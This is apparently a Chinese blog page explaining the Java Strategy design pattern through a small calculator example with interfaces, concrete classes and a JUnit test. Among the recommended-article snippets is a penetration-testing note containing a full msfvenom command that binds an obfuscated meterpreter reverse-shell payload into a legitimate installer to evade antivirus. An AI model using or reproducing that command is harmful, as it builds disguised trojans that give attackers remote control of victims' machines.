java 23种常用设计模式之策略模式(Strategy)

23种设计模式-策略(Strategy)设计模式 软考中级-软件设计师 策略设计模式 阅读详情

才发现昨天桥接模式上传的代码没通过审核,有点搞不清楚是怎么回事,也懒得问了!代码基本都贴在文章里了,虽然看似有点黑了XX,真的只是个无聊的玩笑而已!

我还是别费脑想故事了,还是规规矩矩的陈述别人的例子吧!虽然没什么人看到这些吐槽式的例子,但是还是为自己的形象着想吧!我不是什么女生,但也不是什么屌丝,我只是喜欢写代码,偶尔吐吐槽而已……没关系的,我写给自己看的而已,大不了代码不传了,反正基本全部都贴出来了!任性!!!

策略模式,定义了一系列的算法,并将每一个算法封装起来,而且使它们还可以相互替换,目的是让算法独立于使用它的客户而独立变化。

策略模式由三部分组成:

1.抽象策略角色: 策略类,通常由一个接口或者抽象类实现。

2.具体策略角色:包装了相关的算法和行为。

3.环境角色:持有一个策略类的引用,最终给客户端调用。

概念神马的就提这么多吧!上类图:

解释一下:这是简易计算器使用策略模式的一个经典实现,test是客户端,Icalculator作为统一接口,提供算法,是抽象的策略类角色;AbstractCalculator是辅助类,充当具体策略角色,包装了相关算法和行为,提供辅助方法;Plus、Minus和Multiply是Icalculator的三个实现类,充当环境角色,最终给客户端调用。代码:

package com.freedom.strategy;

public interface ICalculator {
	
	public int calculator(String exp);

}
package com.freedom.strategy;

public class AbstractCalculator {
    
    public int[] split(String exp, String opt) {
        String array[] = exp.split(opt);
        int arrayInt[] = new int[2];
        arrayInt[0] = Integer.parseInt(array[0]);
        arrayInt[1] = Integer.parseInt(array[1]);
        return arrayInt;
    }

}
package com.freedom.strategy;

public class Plus extends AbstractCalculator implements ICalculator {

    @Override
    public int calculator(String exp) {
        
        int arrayInt[] = split(exp, "\\+");
        
        return arrayInt[0]+arrayInt[1];
    }

}
package com.freedom.strategy;

public class Minus extends AbstractCalculator implements ICalculator {

    @Override
    public int calculator(String exp) {
        
        int arrayInt[] = split(exp, "\\-");
        
        return arrayInt[0]-arrayInt[1];
    }

}
package com.freedom.strategy;

public class Multiply extends AbstractCalculator implements ICalculator {

    @Override
    public int calculator(String exp) {
        
        int arrayInt[] = split(exp, "\\*");
        
        return arrayInt[0]*arrayInt[1];
    }

}

package com.freedom.strategy;

import org.junit.Test;

public class TestStrategy {

    @Test
    public void test() {
        String exp = "3+5";
        ICalculator ic = new Plus();
        int result = ic.calculator(exp);
        System.out.println(result);
        String exp2 = "3-5";
        ICalculator ic2 = new Minus();
        int result2 = ic2.calculator(exp2);
        System.out.println(result2);
        String exp3 = "3*5";
        ICalculator ic3 = new Multiply();
        int result3 = ic3.calculator(exp3);
        System.out.println(result3);
    }

}

小结:

优点:

由以上可以看出,策略模式的决定权在用户,系统本身提供不同算法的实现,新增或者删除算法,对各种算法做封装。因此,策略模式多用在算法决策系统中,外部用户只需要决定用哪个算法即可。

缺点:

1.客户端必须知道所有的策略类,并自行决定使用哪一个策略类。这就意味着客户端必须理解这些算法的区别,以便适时选择恰当的算法类。换言之,策略模式只适用于客户端知道所有的算法或行为的情况。

2. 策略模式造成很多的策略类,每个具体策略类都会产生一个新类。有时候可以通过把依赖于环境的状态保存到客户端里面,而将策略类设计成可共享的,这样策略类实例可以被不同客户端使用。换言之,需要使用享元模式来减少对象的数量才会更佳。




【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】 准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ... 阅读详情

相关推荐

RK3568下YT8531/YT8521 PHY移植避坑指南:RGMII与设备树详解

嵌入式Linux网络调试中,PHY芯片作为MAC与物理介质之间的桥梁,其驱动配置直接影响网络稳定性。RGMII接口的延时补偿、PHY地址设定以及复位时序是设备树配置中的关键环节,稍有差错便会出现链路已通却无法通信的现象。通过理解PHYLIB框架与mdio总线枚举原理,开发者可以快速定位寄存器级故障。在RK3568等工业级平台中,裕太微YT8531/YT8521凭借高性价比与内核主线支持,成为替代传统方案的热门选择。从设备树模板、内核配置到常见坑点,系统梳理千兆以太网PHY的移植与调试方法,帮助开发者少走弯路

weixin_29189381的博客 212

【设计模式】Java 设计模式之模板策略模式(Strategy)

策略模式是一种灵活的设计模式,它允许在运行时动态改变对象的行为。通过定义一系列可互相替换的算法,策略模式使得算法独立于使用它的客户端,提高了系统的可维护性和可扩展性。策略模式经常与其他设计模式结合使用,如工厂模式,用于创建具体的策略对象。然而,频繁切换策略可能带来性能开销,因此需权衡其利弊。策略模式适用于需要根据不同情况使用不同算法或行为的场景,如支付系统或电商平台的促销活动。未来,随着技术发展和业务需求变化,策略模式将继续发挥重要作用,推动软件行业的进步。

新手村长的专栏 2141

DELL Precision T7920加装显卡遇到的坑

文章目录DELL Precision T7920加装显卡服务器原有配置介绍选购过程确认型号确认PCIE x16插槽确认电源功率和电源线安装过程电源模组线不够多单装一个3090显卡尺寸问题加装上1080Ti非常重要!官方文档 DELL Precision T7920加装显卡 实验室由于显卡计算能力不够,以及显卡显存不够,请老师花了大价钱购入了两张GeForce 3090显卡。老师赛高!记录一下这次加装显卡过程中学到的一些知识。 服务器原有配置介绍 服务器原有一张1080Ti显卡,一个16核Xeon CPU。

weixin_45520982的博客 1万+

Java设计模式—策略模式(Strategy)

鸭子问题 要求:编写鸭子项目,展示各种鸭子(野鸭、北京鸭、玩具鸭)的各种行为信息(飞行、叫声) 传统解决思路 写鸭子抽象类,定义各种行为信息的方法,子类为各种鸭子,与父类行为相同则直接继承,不同则重写行为方法; 鸭子抽象类 public abstract class Duck { public Duck() {} // 显示鸭子信息 public abstract void display(); public void quack() { System

super_song的博客 443

GPU架构-SIMT

本文深度剖析了GPU的SIMT架构,从硬件实现层面解析其与SIMD的本质差异。SIMT通过将32个线程捆绑为warp执行,在标量编程模型下实现数据并行。文章对比了SIMD和SIMT的执行模型、分支处理机制及存储层次,指出SIMT是对SIMD的虚拟化抽象。重点分析了Volta架构引入的独立线程调度技术,以及访存合并对性能的关键影响。通过定量数据展示了各代GPU架构的寄存器文件规模和线程调度机制,为开发者优化GPU程序提供了硬件层面的理论基础。

技术引领业务创新 973

小米手机免登录开启USB安装与调试(MIUI 9-11实测,已Root可用)

本文详细介绍了小米手机免登录开启USB安装与调试的底层方案,适用于已Root的MIUI 9-11版本设备。通过修改系统配置、禁用MIUI安装器验证和强制开启USB调试等步骤,帮助开发者绕过账号限制,实现快速调试。文章包含不同MIUI版本的兼容性处理和常见问题解决方法,实测有效。

weixin_33675507的博客 289

Java设计模式透析之 —— 策略(Strategy)

转载请注明出处:http://blog.youkuaiyun.com/sinyu890807/article/details/8986285 今天你的leader兴致冲冲地找到你,希望你可以帮他一个小忙,他现在急着要去开会。要帮什么忙呢?你很好奇。 他对你说,当前你们项目的数据库中有一张用户信息表,里面存放了很用户的数据,现在需要完成一个选择性查询用户信息的功能。他说会传递给你一个包含许多用户名的数组,你...

runfeel 421

Win11 24H2家庭版共享打印机失败?别慌,一个批处理脚本搞定所有设置

本文提供了Win11 24H2家庭版共享打印机失败的解决方案,通过一个批处理脚本自动修复所有设置问题。脚本包含安装组策略组件、修改关键注册表项等操作,帮助用户快速恢复打印机共享功能,适用于普通家庭用户。

weixin_30632089的博客 419

Java 策略模式(strategy)

前言: 问:啥是“策略” 答:不同情况不同处理呗 问:那不就是 if…else 或者 switch 吗 答:本质上差不多吧 问:总有区别的吧,“策略”听起来感觉高级些 答:那肯定啊 问:到底啥区别 答:高级的东西用起来舒服,价格也贵 问:…,可以不用吗 答:可以啊,又没人逼你 问:那么豪横吗,来一套试试 1.策略模式举例 “策略”就如前言所说,这里举一个常见的栗子,我们去超市买东西,结账的时候会被各种询问, 收银妹子:您是会员吗 鄙人:不是 收银妹子:会员九五折,只需要登记一下手机号就行了呢,要不要开通一下

清泉影月 366

告别Failed to start错误!保姆级教程:用Ubuntu20.04安装盘搞定GRUB与系统服务修复

本文提供Ubuntu20.04系统启动失败的专业修复指南,详细讲解如何利用安装盘解决GRUB与系统服务问题,避免重装系统导致的数据丢失。涵盖分区挂载、chroot环境操作、服务诊断与修复等实用技巧,帮助用户高效恢复系统正常运行。

weixin_32578161的博客 331

6、探索音乐结构中的统一性:贝多芬《英雄交响曲》第一乐章的深度剖析

本文深入剖析了贝多芬《英雄交响曲》第一乐章的音乐结构,探讨其统一性的来源及表现形式。通过主题与动机、和声与调性、旋律与节奏、织体与动态等多方面的分析,揭示了这部作品在技术层面和情感表达上的卓越成就。

b9c0d的博客 518

Java策略模式(Strategy)

一、定义 定义一组算法,将每个算法都封装起来,并且使它们之间可以互换。策略模式使这些算法在客户端调用它们的时候能够互不影响地变化。(Java的TreeSet集合中,构造方法可传入具体的比较器对象以实现不同的排序算法。就是利用的策略模式)策略模式的用意是针对一组算法,将每一个算法封装到具有共同接口的独立的类中, 从而使得它们可以相互替换,使用策略模式可以把行为和环境分割开来。 二、意义 策略模...

张康的博客 1027

s8654

The official Snapdragon Ride SX 4.0 development board provides standardized hardware support for the secondary development and functional verification of the s8654 platform.

qq_39257814的博客 6830

23种设计模式——策略模式 (Strategy Pattern)​详解

本文介绍了23种经典设计模式之——策略模式 (Strategy Pattern)​的说明及使用

Meteors.的博客 837

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

23种设计模式-19策略模式(Strategy Pattern)

策略模式是在开发中最常见的设计模式之一,本文介绍了策略的基本原理及使用场景,以及基于 java 代码的普通实现和基于Spring 的实现案例。

不开心就吃辣 1872

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Java 中的 23 种设计模式详解

项目中合理的运用设计模式可以完美的解决很多问题,每种模式在现在中都有相应的原理来与之对应,每一个模式描述了一个在我们周围不断重复发生的问题,以及该问题的核心解决方案,这也是它能被广泛应用的原因。,共十一种:策略模式、模板方法模式、观察者模式、迭代子模式、责任链模式、命令模式、备忘录模式、状态模式、访问者模式、中介者模式、解释器模式。,共七种:适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享元模式。,共五种:工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式。

微笑听雨 7万+

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

Java 设计模式之策略模式 (Strategy Pattern) 详解

策略模式通过将算法的选择和实现分离,使得算法可以独立变化,客户端代码可以更简洁和灵活。策略模式(Strategy Pattern)是一种行为型设计模式,旨在定义一系列算法,将每个算法封装起来,并使它们可以互相替换,从而使得算法的变化不会影响使用算法的客户端。策略模式的主要结构包括策略接口、具体策略类和上下文类,通过将算法的选择与使用分离,实现了代码的可维护性和灵活性。通过策略模式和工厂模式的结合,可以实现一个灵活、可扩展且易于维护的支付系统。通过策略模式,可以根据用户选择的支付方式动态切换支付策略。

微笑听雨 3575

【Java中23种面试常考的设计模式之策略模式(Strategy)---行为型模式】

【Java中23种面试常考的设计模式之策略模式(Strategy)---行为型模式】无论是从代码实现上,还是类图,策略模式和状态模式几乎都一样,但他们本质上是有所不同的,策略模式是完成一件事有不同实现方式,不同的行为;但是状态模式是某一个对象对应的不同状态,总体还是完成一件事,这件事中对应着不同的状态,你可以简单的把它理解为它只有一种策略,这种策略下对应着多种状态。策略模式核心思想是:在策略模式中,我们创建表示各种策略的对象和一个行为随着策略对象改变而改变的 context 对象。

Coder_ljw的博客 908

简述23种java设计模式之策略模式(strategy)

通过学习java设计模式,了解到之一的策略模式,我们通过一个 简单的例子来分析一下策略模式及他的好处。 首先我们举一个鸭子的例子,我们先创建一个鸭子类Duck,并写两个它的功能。注意我们把这个类写成抽象类,因为我们后面要有不同的鸭子来继承它。这里我写了一个抽象方法,为了后面继承实现时的一些逻辑操作。 public abstract class Duck{ public voi

HeBiaoBiaoBiao的博客 965

23种设计模式之策略模式

23种设计模式之策略模式 文章目录23种设计模式之策略模式参考资料一、简介定义特点通用类图优点缺点应用场景二、策略模式三、总结 参考资料 Java设计模式:23种设计模式全面解析(超级详细) 韩顺平老师的Java设计模式(图解+框架源码剖析) 秦小波老师的《设计模式之禅》 下文如有错漏之处,敬请指正 一、简介 定义 定义了一系列算法,并将每个算法都封装起来,使它们之间可以相互替换。 特点 策略模式是一种行为型模式 策略模式类似于一个可反复拆卸的插件 通用类图 策略模式的主要角色: Conte

space_qi的博客 341

Strategy策略模式详解与实例

继续java的视频学习,博客还是不能丢,要坚持!Strategy策略模式是23个设计模式之一,是我们常用的模式之一。 Strategy策略模式体现了两个非常基本的面向对象设计原则: ---封装变化概念 ---编程中受用接口,而不是对接口的实现 1.定义: 定义一组算法,讲每个算法都封装起来,使它们之间可以互换; 使在客户端调用它们的时候能够互不影响的变化。 2

褚福舜 2124

JAVA23种设计模式(23):策略模式(Strategy),重要程度★★★★

23种设计模式介绍:https://mp.youkuaiyun.com/postedit/90552052 1.1 意图 在现实生活中常常遇到实现某种目标存在多种策略可供选择的情况,例如,出行旅游可以乘坐飞机、乘坐火车、骑自行车或自己开私家车等,超市促销可以釆用打折、送商品、送积分等方法。 在软件开发中也常常遇到类似的情况,当实现某一个功能存在多种算法或者策略,我们可以根据环境或者条件的不同选择不同的算法...

sinat_35566306的博客 365

java 23 种设计模式-23-java 策略模式(Strategy Pattern)

目录 目录 策略模式 实际案例 定义 测试 实现方式 UML & Code UML Code 系列导航 策略模式 在策略模式(Strategy Pattern)中,一个类的行为或其算法可以在运行时更改。这种类型的设计模式属于行为型模式。 在策略模式中,我们创建表示各种策略的对象和一个行为随着策略对象改变而改变的 context 对象。策略对象改变 contex...

3万+

Java的23种设计模式---(18)策略模式

策略模式(Strategy) 策略模式对应解决某一个问题的一个算法族,允许用户从该算法族中任选一个算法解决某一个问题,同时可以方便的更换算法或者增加新的算法,并且由客户端觉得调用哪个算法。 角色构成: Context:环境角色,持有一个Strategy的引用。 Strategy:抽象策略角色,通常有一个接口或抽象类实现,定义所有具体策略类需要的接口。 ConcreteStrategy:具...

Mr.Cao 555

java strategy模式,Java设计模式——策略模式(Strategy pattern)

策略模式,在阿里巴巴开发手册中有提到过,可以用来减少if-else嵌套,是一个常用的设计模式。策略模式结构如下图,一个上下文Context只有一个抽象的策略Strategy,可以调用该策略的strategyInterface()执行具体的策略方法。就比如平常用手机支付,我的手机持有系统级别的抽象的支付方式,然后支付宝和微信支付来具体实现我的支付接口,用户需要付款时,弹窗让用户选择使用哪种方式付款,...

weixin_39765625的博客 301

【23种设计模式】之策略模式(Strategy Pattern) .Net Core实现

在策略模式(Strategy Pattern)中,一个类的行为或其算法可以在运行时更改。这种类型的设计模式属于行为型模式。 在策略模式中,我们创建表示各种策略的对象和一个行为随着策略对象改变而改变的 context 对象。策略对象改变 context 对象的执行算法。

欢迎指错||纠正||建议||水评+点赞&&评论&&关注&&转发 886
上一篇: java 23种常用设计模式之享元模式(FlyWeight)
下一篇: Java正则表达式的意义说明
freedom1993
博客等级 码龄12年 25粉丝 57原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值